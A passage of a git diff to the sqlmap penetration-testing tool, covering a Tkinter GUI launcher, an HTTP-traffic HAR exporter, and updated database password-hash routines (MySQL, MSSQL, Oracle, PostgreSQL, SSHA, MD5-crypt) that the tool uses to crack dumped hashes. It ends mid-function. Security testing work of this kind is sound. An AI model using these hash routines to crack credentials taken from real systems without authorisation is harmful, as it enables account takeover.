https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x + class ConstrainedEntry(_tkinter.Entry): + def __init__(self, master=None, **kwargs): + self.var = _tkinter.StringVar() + self.regex = kwargs["regex"] + del kwargs["regex"] + _tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs) + self.old_value = '' + self.var.trace('w', self.check) + self.get, self.set = self.var.get, self.var.set + + def check(self, *args): + if re.search(self.regex, self.get()): + self.old_value = self.get() + else: + self.set(self.old_value) + + try: + window = _tkinter.Tk() + except Exception as ex: + errMsg = "unable to create GUI window ('%s')" % getSafeExString(ex) + raise SqlmapSystemException(errMsg) + + window.title("sqlmap - Tkinter GUI") + + # Set theme and colors + bg_color = "#f5f5f5" + fg_color = "#333333" + accent_color = "#2c7fb8" + window.configure(background=bg_color) + + # Configure styles + style = _tkinter_ttk.Style() + + # Try to use a more modern theme if available + available_themes = style.theme_names() + if 'clam' in available_themes: + style.theme_use('clam') + elif 'alt' in available_themes: + style.theme_use('alt') + + # Configure notebook style + style.configure("TNotebook", background=bg_color) + style.configure("TNotebook.Tab", + padding=[10, 4], + background="#e1e1e1", + font=('Helvetica', 9)) + style.map("TNotebook.Tab", + background=[("selected", accent_color), ("active", "#7fcdbb")], + foreground=[("selected", "white"), ("active", "white")]) + + # Configure button style + style.configure("TButton", + padding=4, + relief="flat", + background=accent_color, + foreground="white", + font=('Helvetica', 9)) + style.map("TButton", + background=[('active', '#41b6c4')]) + + # Reference: https://stackoverflow.com/a/10018670 + def center(window): + window.update_idletasks() + width = window.winfo_width() + frm_width = window.winfo_rootx() - window.winfo_x() + win_width = width + 2 * frm_width + height = window.winfo_height() + titlebar_height = window.winfo_rooty() - window.winfo_y() + win_height = height + titlebar_height + frm_width + x = window.winfo_screenwidth() // 2 - win_width // 2 + y = window.winfo_screenheight() // 2 - win_height // 2 + window.geometry('{}x{}+{}+{}'.format(width, height, x, y)) + window.deiconify() + + def onKeyPress(event): + global line + global queue + + if process: + if event.char == '\b': + line = line[:-1] + else: + line += event.char + + def onReturnPress(event): + global line + global queue + + if process: + try: + process.stdin.write(("%s\n" % line.strip()).encode()) + process.stdin.flush() + except socket.error: + line = "" + event.widget.master.master.destroy() + return "break" + except: + return + + event.widget.insert(_tkinter.END, "\n") + + return "break" + + def run(): + global alive + global process + global queue + + config = {} + + for key in window._widgets: + dest, widget_type = key + widget = window._widgets[key] + + if hasattr(widget, "get") and not widget.get(): + value = None + elif widget_type == "string": + value = widget.get() + elif widget_type == "float": + value = float(widget.get()) + elif widget_type == "int": + value = int(widget.get()) + else: + value = bool(widget.var.get()) + + config[dest] = value + + for option in parser.option_list: + # Only set default if not already set by the user + if option.dest not in config or config[option.dest] is None: + config[option.dest] = defaults.get(option.dest, None) + + handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) + os.close(handle) + + saveConfig(config, configFile) + + def enqueue(stream, queue): + global alive + + for line in iter(stream.readline, b''): + queue.put(line) + + alive = False + stream.close() + + alive = True + + process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN) + + # Reference: https://stackoverflow.com/a/4896288 + queue = _queue.Queue() + thread = threading.Thread(target=enqueue, args=(process.stdout, queue)) + thread.daemon = True + thread.start() + + top = _tkinter.Toplevel() + top.title("Console") + top.configure(background=bg_color) + + # Create a frame for the console + console_frame = _tkinter.Frame(top, bg=bg_color) + console_frame.pack(fill=_tkinter.BOTH, expand=True, padx=10, pady=10) + + # Reference: https://stackoverflow.com/a/13833338 + text = _tkinter_scrolledtext.ScrolledText(console_frame, undo=True, wrap=_tkinter.WORD, + bg="#2c3e50", fg="#ecf0f1", + insertbackground="white", + font=('Consolas', 10)) + text.bind("<Key>", onKeyPress) + text.bind("<Return>", onReturnPress) + text.pack(fill=_tkinter.BOTH, expand=True) + text.focus() + + center(top) + + while True: + line = "" + try: + line = queue.get(timeout=.1) + text.insert(_tkinter.END, line) + except _queue.Empty: + text.see(_tkinter.END) + text.update_idletasks() + + if not alive: + break + + # Create a menu bar + menubar = _tkinter.Menu(window, bg=bg_color, fg=fg_color) + + filemenu = _tkinter.Menu(menubar, tearoff=0, bg=bg_color, fg=fg_color) + filemenu.add_command(label="Open", state=_tkinter.DISABLED) + filemenu.add_command(label="Save", state=_tkinter.DISABLED) + filemenu.add_separator() + filemenu.add_command(label="Exit", command=window.quit) + menubar.add_cascade(label="File", menu=filemenu) + + menubar.add_command(label="Run", command=run) + + helpmenu = _tkinter.Menu(menubar, tearoff=0, bg=bg_color, fg=fg_color) + helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE)) + helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE)) + helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) + helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) + helpmenu.add_separator() + helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "%s\n\n (%s)" % (VERSION_STRING, DEV_EMAIL_ADDRESS))) + menubar.add_cascade(label="Help", menu=helpmenu) + + window.config(menu=menubar, bg=bg_color) + window._widgets = {} + + # Create header frame + header_frame = _tkinter.Frame(window, bg=bg_color, height=60) + header_frame.pack(fill=_tkinter.X, pady=(0, 5)) + header_frame.pack_propagate(0) + + # Add header label + title_label = _tkinter.Label(header_frame, text="Configuration", + font=('Helvetica', 14), + fg=accent_color, bg=bg_color) + title_label.pack(side=_tkinter.LEFT, padx=15) + + # Add run button in header + run_button = _tkinter_ttk.Button(header_frame, text="Run", command=run, width=12) + run_button.pack(side=_tkinter.RIGHT, padx=15) + + # Create notebook + notebook = _tkinter_ttk.Notebook(window) + notebook.pack(expand=1, fill="both", padx=5, pady=(0, 5)) + + # Store tab information for background loading + tab_frames = {} + tab_canvases = {} + tab_scrollable_frames = {} + tab_groups = {} + + # Create empty tabs with scrollable areas first (fast) + for group in parser.option_groups: + # Create a frame with scrollbar for the tab + tab_frame = _tkinter.Frame(notebook, bg=bg_color) + tab_frames[group.title] = tab_frame + + # Create a canvas with scrollbar + canvas = _tkinter.Canvas(tab_frame, bg=bg_color, highlightthickness=0) + scrollbar = _tkinter_ttk.Scrollbar(tab_frame, orient="vertical", command=canvas.yview) + scrollable_frame = _tkinter.Frame(canvas, bg=bg_color) + + # Store references + tab_canvases[group.title] = canvas + tab_scrollable_frames[group.title] = scrollable_frame + tab_groups[group.title] = group + + # Configure the canvas scrolling + scrollable_frame.bind( + "<Configure>", + lambda e, canvas=canvas: canvas.configure(scrollregion=canvas.bbox("all")) + ) + + canvas.create_window((0, 0), window=scrollable_frame, anchor="nw") + canvas.configure(yscrollcommand=scrollbar.set) + + # Pack the canvas and scrollbar + canvas.pack(side="left", fill="both", expand=True) + scrollbar.pack(side="right", fill="y") + + # Add the tab to the notebook + notebook.add(tab_frame, text=group.title) + + # Add a loading indicator + loading_label = _tkinter.Label(scrollable_frame, text="Loading options...", + font=('Helvetica', 12), + fg=accent_color, bg=bg_color) + loading_label.pack(expand=True) + + # Function to populate a tab in the background + def populate_tab(tab_name): + group = tab_groups[tab_name] + scrollable_frame = tab_scrollable_frames[tab_name] + canvas = tab_canvases[tab_name] + + # Remove loading indicator + for child in scrollable_frame.winfo_children(): + child.destroy() + + # Add content to the scrollable frame + row = 0 + + if group.get_description(): + desc_label = _tkinter.Label(scrollable_frame, text=group.get_description(), + wraplength=600, justify="left", + font=('Helvetica', 9), + fg="#555555", bg=bg_color) + desc_label.grid(row=row, column=0, columnspan=3, sticky="w", padx=10, pady=(10, 5)) + row += 1 + + for option in group.option_list: + # Option label + option_label = _tkinter.Label(scrollable_frame, + text=parser.formatter._format_option_strings(option) + ":", + font=('Helvetica', 9), + fg=fg_color, bg=bg_color, + anchor="w") + option_label.grid(row=row, column=0, sticky="w", padx=10, pady=2) + + # Input widget + if option.type == "string": + widget = _tkinter.Entry(scrollable_frame, font=('Helvetica', 9), + relief="sunken", bd=1, width=20) + widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) + elif option.type == "float": + widget = ConstrainedEntry(scrollable_frame, regex=r"\A\d*\.?\d*\Z", + font=('Helvetica', 9), + relief="sunken", bd=1, width=10) + widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) + elif option.type == "int": + widget = ConstrainedEntry(scrollable_frame, regex=r"\A\d*\Z", + font=('Helvetica', 9), + relief="sunken", bd=1, width=10) + widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) + else: + var = _tkinter.IntVar() + widget = _tkinter.Checkbutton(scrollable_frame, variable=var, + bg=bg_color, activebackground=bg_color) + widget.var = var + widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) + + # Help text (truncated to improve performance) + help_text = option.help + if len(help_text) > 100: + help_text = help_text[:100] + "..." + + help_label = _tkinter.Label(scrollable_frame, text=help_text, + font=('Helvetica', 8), + fg="#666666", bg=bg_color, + wraplength=400, justify="left") + help_label.grid(row=row, column=2, sticky="w", padx=5, pady=2) + + # Store widget reference + window._widgets[(option.dest, option.type)] = widget + + # Set default value + default = defaults.get(option.dest) + if default: + if hasattr(widget, "insert"): + widget.insert(0, default) + elif hasattr(widget, "var"): + widget.var.set(1 if default else 0) + + row += 1 + + # Add some padding at the bottom + _tkinter.Label(scrollable_frame, bg=bg_color, height=1).grid(row=row, column=0) + + # Update the scroll region after adding all widgets + canvas.update_idletasks() + canvas.configure(scrollregion=canvas.bbox("all")) + + # Update the UI to show the tab is fully loaded + window.update_idletasks() + + # Function to populate tabs in the background + def populate_tabs_background(): + for tab_name in tab_groups.keys(): + # Schedule each tab to be populated with a small delay between them + window.after(100, lambda name=tab_name: populate_tab(name)) + + # Start populating tabs in the background after a short delay + window.after(500, populate_tabs_background) + + # Set minimum window size + window.update() + window.minsize(800, 500) + + # Center the window on screen + center(window) + + # Start the GUI + window.mainloop() diff --git a/lib/utils/har.py b/lib/utils/har.py new file mode 100644 index 00000000000..cb34bf39179 --- /dev/null +++ b/lib/utils/har.py @@ -0,0 +1,236 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import base64 +import datetime +import io +import re +import time + +from lib.core.bigarray import BigArray +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.settings import VERSION +from thirdparty.six.moves import BaseHTTPServer as _BaseHTTPServer +from thirdparty.six.moves import http_client as _http_client + +# Reference: https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/HAR/Overview.html +# http://www.softwareishard.com/har/viewer/ + +class HTTPCollectorFactory(object): + def __init__(self, harFile=False): + self.harFile = harFile + + def create(self): + return HTTPCollector() + +class HTTPCollector(object): + def __init__(self): + self.messages = BigArray() + self.extendedArguments = {} + + def setExtendedArguments(self, arguments): + self.extendedArguments = arguments + + def collectRequest(self, requestMessage, responseMessage, startTime=None, endTime=None): + self.messages.append(RawPair(requestMessage, responseMessage, + startTime=startTime, endTime=endTime, + extendedArguments=self.extendedArguments)) + + def obtain(self): + return {"log": { + "version": "1.2", + "creator": {"name": "sqlmap", "version": VERSION}, + "entries": [pair.toEntry().toDict() for pair in self.messages], + }} + +class RawPair(object): + def __init__(self, request, response, startTime=None, endTime=None, extendedArguments=None): + self.request = getBytes(request) + self.response = getBytes(response) + self.startTime = startTime + self.endTime = endTime + self.extendedArguments = extendedArguments or {} + + def toEntry(self): + return Entry(request=Request.parse(self.request), response=Response.parse(self.response), + startTime=self.startTime, endTime=self.endTime, + extendedArguments=self.extendedArguments) + +class Entry(object): + def __init__(self, request, response, startTime, endTime, extendedArguments): + self.request = request + self.response = response + self.startTime = startTime or 0 + self.endTime = endTime or 0 + self.extendedArguments = extendedArguments + + def toDict(self): + out = { + "request": self.request.toDict(), + "response": self.response.toDict(), + "cache": {}, + "timings": { + "send": -1, + "wait": -1, + "receive": -1, + }, + "time": int(1000 * (self.endTime - self.startTime)), + "startedDateTime": "%s%s" % (datetime.datetime.fromtimestamp(self.startTime).isoformat(), time.strftime("%z")) if self.startTime else None + } + out.update(self.extendedArguments) + return out + +class Request(object): + def __init__(self, method, path, httpVersion, headers, postBody=None, raw=None, comment=None): + self.method = method + self.path = path + self.httpVersion = httpVersion + self.headers = headers or {} + self.postBody = postBody + self.comment = comment.strip() if comment else comment + self.raw = raw + + @classmethod + def parse(cls, raw): + request = HTTPRequest(raw) + return cls(method=request.command, + path=request.path, + httpVersion=request.request_version, + headers=request.headers, + postBody=request.rfile.read(), + comment=request.comment, + raw=raw) + + @property + def url(self): + host = self.headers.get("Host", "unknown") + return "http://%s%s" % (host, self.path) + + def toDict(self): + out = { + "httpVersion": self.httpVersion, + "method": self.method, + "url": self.url, + "headers": [dict(name=key.capitalize(), value=value) for key, value in self.headers.items()], + "cookies": [], + "queryString": [], + "headersSize": -1, + "bodySize": -1, + "comment": getText(self.comment), + } + + if self.postBody: + contentType = self.headers.get("Content-Type") + out["postData"] = { + "mimeType": contentType, + "text": getText(self.postBody).rstrip("\r\n"), + } + + return out + +class Response(object): + extract_status = re.compile(b'\\((\\d{3}) (.*)\\)') + + def __init__(self, httpVersion, status, statusText, headers, content, raw=None, comment=None): + self.raw = raw + self.httpVersion = httpVersion + self.status = status + self.statusText = statusText + self.headers = headers + self.content = content + self.comment = comment.strip() if comment else comment + + @classmethod + def parse(cls, raw): + altered = raw + comment = b"" + + if altered.startswith(b"HTTP response [") or altered.startswith(b"HTTP redirect ["): + stream = io.BytesIO(raw) + first_line = stream.readline() + parts = cls.extract_status.search(first_line) + status_line = "HTTP/1.0 %s %s" % (getText(parts.group(1)), getText(parts.group(2))) + remain = stream.read() + altered = getBytes(status_line) + b"\r\n" + remain + comment = first_line + + response = _http_client.HTTPResponse(FakeSocket(altered)) + response.begin() + + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5942 + response.length = len(raw[raw.find(b"\r\n\r\n") + 4:]) + + try: + content = response.read() + except _http_client.IncompleteRead: + content = raw[raw.find(b"\r\n\r\n") + 4:].rstrip(b"\r\n") + + return cls(httpVersion="HTTP/1.1" if response.version == 11 else "HTTP/1.0", + status=response.status, + statusText=response.reason, + headers=response.msg, + content=content, + comment=comment, + raw=raw) + + def toDict(self): + content = { + "mimeType": self.headers.get("Content-Type"), + "text": self.content, + "size": len(self.content or "") + } + + binary = set([b'\0', b'\1']) + if any(c in binary for c in self.content): + content["encoding"] = "base64" + content["text"] = getText(base64.b64encode(self.content)) + else: + content["text"] = getText(content["text"]) + + return { + "httpVersion": self.httpVersion, + "status": self.status, + "statusText": self.statusText, + "headers": [dict(name=key.capitalize(), value=value) for key, value in self.headers.items() if key.lower() != "uri"], + "cookies": [], + "content": content, + "headersSize": -1, + "bodySize": -1, + "redirectURL": "", + "comment": getText(self.comment), + } + +class FakeSocket(object): + # Original source: + # https://stackoverflow.com/questions/24728088/python-parse-http-response-string + + def __init__(self, response_text): + self._file = io.BytesIO(response_text) + + def makefile(self, *args, **kwargs): + return self._file + +class HTTPRequest(_BaseHTTPServer.BaseHTTPRequestHandler): + # Original source: + # https://stackoverflow.com/questions/4685217/parse-raw-http-headers + + def __init__(self, request_text): + self.comment = None + self.rfile = io.BytesIO(request_text) + self.raw_requestline = self.rfile.readline() + + if self.raw_requestline.startswith(b"HTTP request ["): + self.comment = self.raw_requestline + self.raw_requestline = self.rfile.readline() + + self.error_code = self.error_message = None + self.parse_request() + + def send_error(self, code, message): + self.error_code = code + self.error_message = message diff --git a/lib/utils/hash.py b/lib/utils/hash.py index e1512b92155..13a978149af 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1,90 +1,115 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import print_function + try: from crypt import crypt -except ImportError, _: - from extra.fcrypt.fcrypt import crypt +except: # removed ImportError because of https://github.com/sqlmapproject/sqlmap/issues/3171 + from thirdparty.fcrypt.fcrypt import crypt -_multiprocessing = None try: - import multiprocessing + from Crypto.Cipher.DES import MODE_CBC as CBC + from Crypto.Cipher.DES import new as des +except: + from thirdparty.pydes.pyDes import CBC + from thirdparty.pydes.pyDes import des - # problems on FreeBSD (Reference: http://www.eggheadcafe.com/microsoft/Python/35880259/multiprocessing-on-freebsd.aspx) - _ = multiprocessing.Queue() -except (ImportError, OSError): - pass -else: - _multiprocessing = multiprocessing +_multiprocessing = None +import base64 +import binascii +import gc +import math import os import re import tempfile import time +import zipfile from hashlib import md5 from hashlib import sha1 -from Queue import Queue +from hashlib import sha224 +from hashlib import sha256 +from hashlib import sha384 +from hashlib import sha512 -from extra.pydes.pyDes import des -from extra.pydes.pyDes import CBC from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import getFileItems from lib.core.common import getPublicTypeMembers +from lib.core.common import getSafeExString from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite +from lib.core.common import isZipFile from lib.core.common import normalizeUnicode +from lib.core.common import openFile from lib.core.common import paths from lib.core.common import readInput from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage -from lib.core.convert import hexdecode -from lib.core.convert import hexencode -from lib.core.convert import utf8encode +from lib.core.compat import xrange +from lib.core.convert import decodeBase64 +from lib.core.convert import decodeHex +from lib.core.convert import encodeHex +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.datatype import OrderedSet +from lib.core.decorators import cachedmethod from lib.core.enums import DBMS from lib.core.enums import HASH -from lib.core.exception import sqlmapFilePathException -from lib.core.exception import sqlmapUserQuitException +from lib.core.enums import MKSTEMP_PREFIX +from lib.core.exception import SqlmapDataException +from lib.core.exception import SqlmapUserQuitException from lib.core.settings import COMMON_PASSWORD_SUFFIXES from lib.core.settings import COMMON_USER_COLUMNS +from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import DUMMY_USER_PREFIX +from lib.core.settings import HASH_BINARY_COLUMNS_REGEX +from lib.core.settings import HASH_EMPTY_PASSWORD_MARKER from lib.core.settings import HASH_MOD_ITEM_DISPLAY from lib.core.settings import HASH_RECOGNITION_QUIT_THRESHOLD +from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT from lib.core.settings import IS_WIN from lib.core.settings import ITOA64 -from lib.core.settings import ML -from lib.core.settings import UNICODE_ENCODING +from lib.core.settings import NULL from lib.core.settings import ROTATING_CHARS +from lib.core.settings import UNICODE_ENCODING from lib.core.wordlist import Wordlist +from thirdparty import six +from thirdparty.colorama.initialise import init as coloramainit +from thirdparty.six.moves import queue as _queue def mysql_passwd(password, uppercase=True): """ Reference(s): - http://csl.sublevel3.org/mysql-password-function/ + https://web.archive.org/web/20120215205312/http://csl.sublevel3.org/mysql-password-function/ >>> mysql_passwd(password='testpass', uppercase=True) '*00E247AC5F9AF26AE0194B41E1E769DEE1429A29' """ + password = getBytes(password) + retVal = "*%s" % sha1(sha1(password).digest()).hexdigest() return retVal.upper() if uppercase else retVal.lower() -def mysql_old_passwd(password, uppercase=True): # prior to version '4.1' +def mysql_old_passwd(password, uppercase=True): # prior to version '4.1' """ Reference(s): - http://www.sfr-fresh.com/unix/privat/tpop3d-1.5.5.tar.gz:a/tpop3d-1.5.5/password.c - http://voidnetwork.org/5ynL0rd/darkc0de/python_script/darkMySQLi.html + https://web.archive.org/web/20091205000600/http://www.sfr-fresh.com/unix/privat/tpop3d-1.5.5.tar.gz:a/tpop3d-1.5.5/password.c + https://github.com/pwnieexpress/pwn_plug_sources/blob/master/src/darkmysqli/DarkMySQLi.py >>> mysql_old_passwd(password='testpass', uppercase=True) '7DCDA0D57290B453' @@ -114,11 +139,31 @@ def postgres_passwd(password, username, uppercase=False): 'md599e5ea7a6f7c3269995cba3927fd0093' """ + username = getBytes(username) + password = getBytes(password) + retVal = "md5%s" % md5(password + username).hexdigest() return retVal.upper() if uppercase else retVal.lower() -def mssql_passwd(password, salt, uppercase=False): +def mssql_new_passwd(password, salt, uppercase=False): # since version '2012' + """ + Reference(s): + http://hashcat.net/forum/thread-1474.html + https://sqlity.net/en/2460/sql-password-hash/ + + >>> mssql_new_passwd(password='testpass', salt='4086ceb6', uppercase=False) + '0x02004086ceb6eb051cdbc5bdae68ffc66c918d4977e592f6bdfc2b444a7214f71fa31c35902c5b7ae773ed5f4c50676d329120ace32ee6bc81c24f70711eb0fc6400e85ebf25' + """ + + binsalt = decodeHex(salt) + unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) + + retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest()) + + return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) + +def mssql_passwd(password, salt, uppercase=False): # versions '2005' and '2008' """ Reference(s): http://www.leidecker.info/projects/phrasendrescher/mssql.c @@ -128,14 +173,14 @@ def mssql_passwd(password, salt, uppercase=False): '0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a' """ - binsalt = hexdecode(salt) - unistr = "".join(map(lambda c: ("%s\0" if ord(c) < 256 else "%s") % utf8encode(c), password)) + binsalt = decodeHex(salt) + unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) retVal = "0100%s%s" % (salt, sha1(unistr + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) -def mssql_old_passwd(password, salt, uppercase=True): # prior to version '2005' +def mssql_old_passwd(password, salt, uppercase=True): # version '2000' and before """ Reference(s): www.exploit-db.com/download_pdf/15537/ @@ -146,8 +191,8 @@ def mssql_old_passwd(password, salt, uppercase=True): # prior to version '2005' '0x01004086CEB60C90646A8AB9889FE3ED8E5C150B5460ECE8425AC7BB7255C0C81D79AA5D0E93D4BB077FB9A51DA0' """ - binsalt = hexdecode(salt) - unistr = "".join(map(lambda c: ("%s\0" if ord(c) < 256 else "%s") % utf8encode(c), password)) + binsalt = decodeHex(salt) + unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) retVal = "0100%s%s%s" % (salt, sha1(unistr + binsalt).hexdigest(), sha1(unistr.upper() + binsalt).hexdigest()) @@ -164,13 +209,14 @@ def oracle_passwd(password, salt, uppercase=True): 'S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C' """ - binsalt = hexdecode(salt) + binsalt = decodeHex(salt) + password = getBytes(password) - retVal="s:%s%s" % (sha1(utf8encode(password) + binsalt).hexdigest(), salt) + retVal = "s:%s%s" % (sha1(password + binsalt).hexdigest(), salt) return retVal.upper() if uppercase else retVal.lower() -def oracle_old_passwd(password, username, uppercase=True): # prior to version '11g' +def oracle_old_passwd(password, username, uppercase=True): # prior to version '11g' """ Reference(s): http://www.notesbit.com/index.php/scripts-oracle/oracle-11g-new-password-algorithm-is-revealed-by-seclistsorg/ @@ -179,19 +225,23 @@ def oracle_old_passwd(password, username, uppercase=True): # prior to version '1 'F894844C34402B67' """ - IV, pad = "\0"*8, "\0" - - if isinstance(username, unicode): - username = unicode.encode(username, UNICODE_ENCODING) #pyDes has issues with unicode strings + IV, pad = b"\0" * 8, b"\0" - unistr = "".join("\0%s" % c for c in (username + password).upper()) + unistr = b"".join((b"\0" + _.encode(UNICODE_ENCODING)) if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in (username + password).upper()) - cipher = des(hexdecode("0123456789ABCDEF"), CBC, IV, pad) - encrypted = cipher.encrypt(unistr) - cipher = des(encrypted[-8:], CBC, IV, pad) - encrypted = cipher.encrypt(unistr) + if des.__module__ == "Crypto.Cipher.DES": + unistr += b"\0" * ((8 - len(unistr) % 8) & 7) + cipher = des(decodeHex("0123456789ABCDEF"), CBC, iv=IV) + encrypted = cipher.encrypt(unistr) + cipher = des(encrypted[-8:], CBC, iv=IV) + encrypted = cipher.encrypt(unistr) + else: + cipher = des(decodeHex("0123456789ABCDEF"), CBC, IV, pad) + encrypted = cipher.encrypt(unistr) + cipher = des(encrypted[-8:], CBC, IV, pad) + encrypted = cipher.encrypt(unistr) - retVal = hexencode(encrypted[-8:]) + retVal = encodeHex(encrypted[-8:], binary=False) return retVal.upper() if uppercase else retVal.lower() @@ -201,6 +251,8 @@ def md5_generic_passwd(password, uppercase=False): '179ad45c6ce2cb97cf1029e212046e81' """ + password = getBytes(password) + retVal = md5(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() @@ -211,12 +263,96 @@ def sha1_generic_passwd(password, uppercase=False): '206c80413b9a96c1312cc346b7d2517b84463edd' """ + password = getBytes(password) + retVal = sha1(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() +def apache_sha1_passwd(password, **kwargs): + """ + >>> apache_sha1_passwd(password='testpass') + '{SHA}IGyAQTualsExLMNGt9JRe4RGPt0=' + """ + + password = getBytes(password) + + return "{SHA}%s" % getText(base64.b64encode(sha1(password).digest())) + +def ssha_passwd(password, salt, **kwargs): + """ + >>> ssha_passwd(password='testpass', salt='salt') + '{SSHA}mU1HPTvnmoXOhE4ROHP6sWfbfoRzYWx0' + """ + + password = getBytes(password) + salt = getBytes(salt) + + return "{SSHA}%s" % getText(base64.b64encode(sha1(password + salt).digest() + salt)) + +def ssha256_passwd(password, salt, **kwargs): + """ + >>> ssha256_passwd(password='testpass', salt='salt') + '{SSHA256}hhubsLrO/Aje9F/kJrgv5ZLE40UmTrVWvI7Dt6InP99zYWx0' + """ + + password = getBytes(password) + salt = getBytes(salt) + + return "{SSHA256}%s" % getText(base64.b64encode(sha256(password + salt).digest() + salt)) + +def ssha512_passwd(password, salt, **kwargs): + """ + >>> ssha512_passwd(password='testpass', salt='salt') + '{SSHA512}mCUSLfPMhXCQOJl9WHW/QMn9v9sjq7Ht/Wk7iVau8vLOfh+PeynkGMikqIE8sStFd0khdfcCD8xZmC6UyjTxsHNhbHQ=' + """ + + password = getBytes(password) + salt = getBytes(salt) + + return "{SSHA512}%s" % getText(base64.b64encode(sha512(password + salt).digest() + salt)) + +def sha224_generic_passwd(password, uppercase=False): + """ + >>> sha224_generic_passwd(password='testpass', uppercase=False) + '648db6019764b598f75ab6b7616d2e82563a00eb1531680e19ac4c6f' + """ + + retVal = sha224(getBytes(password)).hexdigest() + + return retVal.upper() if uppercase else retVal.lower() + +def sha256_generic_passwd(password, uppercase=False): + """ + >>> sha256_generic_passwd(password='testpass', uppercase=False) + '13d249f2cb4127b40cfa757866850278793f814ded3c587fe5889e889a7a9f6c' + """ + + retVal = sha256(getBytes(password)).hexdigest() + + return retVal.upper() if uppercase else retVal.lower() + +def sha384_generic_passwd(password, uppercase=False): + """ + >>> sha384_generic_passwd(password='testpass', uppercase=False) + '6823546e56adf46849343be991d4b1be9b432e42ed1b4bb90635a0e4b930e49b9ca007bc3e04bf0a4e0df6f1f82769bf' + """ -def crypt_generic_passwd(password, salt, uppercase=False): + retVal = sha384(getBytes(password)).hexdigest() + + return retVal.upper() if uppercase else retVal.lower() + +def sha512_generic_passwd(password, uppercase=False): + """ + >>> sha512_generic_passwd(password='testpass', uppercase=False) + '78ddc8555bb1677ff5af75ba5fc02cb30bb592b0610277ae15055e189b77fe3fda496e5027a3d99ec85d54941adee1cc174b50438fdc21d82d0a79f85b58cf44' + """ + + retVal = sha512(getBytes(password)).hexdigest() + + return retVal.upper() if uppercase else retVal.lower() + +def crypt_generic_passwd(password, salt, **kwargs): """ Reference(s): http://docs.python.org/library/crypt.html @@ -228,18 +364,145 @@ def crypt_generic_passwd(password, salt, uppercase=False): 'rl.3StKT.4T8M' """ - retVal = crypt(password, salt) + return getText(crypt(password, salt)) + +def unix_md5_passwd(password, salt, magic="$1$", **kwargs): + """ + Reference(s): + http://www.sabren.net/code/python/crypt/md5crypt.py + + >>> unix_md5_passwd(password='testpass', salt='aD9ZLmkp') + '$1$aD9ZLmkp$DRM5a7rRZGyuuOPOjTEk61' + """ + + def _encode64(value, count): + output = "" + + while (count - 1 >= 0): + count = count - 1 + output += ITOA64[value & 0x3f] + value = value >> 6 + + return output + + password = getBytes(password) + magic = getBytes(magic) + salt = getBytes(salt) + + salt = salt[:8] + ctx = password + magic + salt + final = md5(password + salt + password).digest() + + for pl in xrange(len(password), 0, -16): + if pl > 16: + ctx = ctx + final[:16] + else: + ctx = ctx + final[:pl] + + i = len(password) + while i: + if i & 1: + ctx = ctx + b'\x00' # if ($i & 1) { $ctx->add(pack("C", 0)); } + else: + ctx = ctx + password[0:1] + i = i >> 1 + + final = md5(ctx).digest() + + for i in xrange(1000): + ctx1 = b"" + + if i & 1: + ctx1 = ctx1 + password + else: + ctx1 = ctx1 + final[:16] + + if i % 3: + ctx1 = ctx1 + salt + + if i % 7: + ctx1 = ctx1 + password + + if i & 1: + ctx1 = ctx1 + final[:16] + else: + ctx1 = ctx1 + password + + final = md5(ctx1).digest() + + hash_ = _encode64((int(ord(final[0:1])) << 16) | (int(ord(final[6:7])) << 8) | (int(ord(final[12:13]))), 4) + hash_ = hash_ + _encode64((int(ord(final[1:2])) << 16) | (int(ord(final[7:8])) << 8) | (int(ord(final[13:14]))), 4) + hash_ = hash_ + _encode64((int(ord(final[2:3])) << 16) | 